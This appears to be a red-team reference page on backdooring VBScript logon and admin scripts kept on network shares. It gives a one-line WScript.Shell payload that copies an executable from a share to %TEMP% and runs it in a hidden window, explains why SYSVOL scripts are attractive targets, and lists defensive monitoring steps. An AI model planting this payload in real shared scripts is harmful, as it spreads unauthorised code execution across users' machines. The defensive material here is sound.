Backdooring Visual Basic Scripts

Standalone VBScript (.vbs) files — executed by Windows Script Host (wscript.exe/cscript.exe) — are distinct from VBA, which lives inside Office documents. Scripts stored on network shares are attractive backdoor targets: modify a script that admins or logon processes already run, and your payload executes under their context on every invocation.

Copy-and-execute payload

VBS code to pull a binary from a share and run it locally:

CreateObject("WScript.Shell").Run "cmd.exe /c copy /Y \\$SHARE_NAME\$SHARE_PATH\$MALICIOUS_EXE %TEMP% & %TEMP%\$MALICIOUS_EXE $OPTIONAL_ARGUMENTS", 0, True

• WScript.Shell.Run — spawns the command shell
• Second argument 0 — hidden window (no console flash)
• Third argument True — wait for completion before continuing
• /Y on copy — suppress overwrite prompts

The two-stage pattern (copy to %TEMP%, then execute) decouples the payload from the share’s availability at runtime.

Why share-resident scripts

• Logon scripts and admin utility scripts on SYSVOL or departmental shares run with the invoking user’s privileges on many machines
• Modifying an existing, trusted script inherits its legitimacy in application allow-listing and execution logs
• Pairs with share write-access findings from smbmap or smbclient enumeration

Defense

• Monitor wscript.exe/cscript.exe spawning cmd.exe or writing executables to %TEMP%
• Alert on unexpected modifications to scripts on network shares (file integrity monitoring on SYSVOL)
• Windows Script Host can be disabled or constrained via policy — see windows-scripting-host
• MITRE ATT&CK: T1059.005 — Visual Basic

Sources

• Command and Scripting Interpreter: Visual Basic
• Run Method (Windows Script Host)

Related: windows-scripting-host, visual-basic-for-applications, html-applications, default-cifs-shares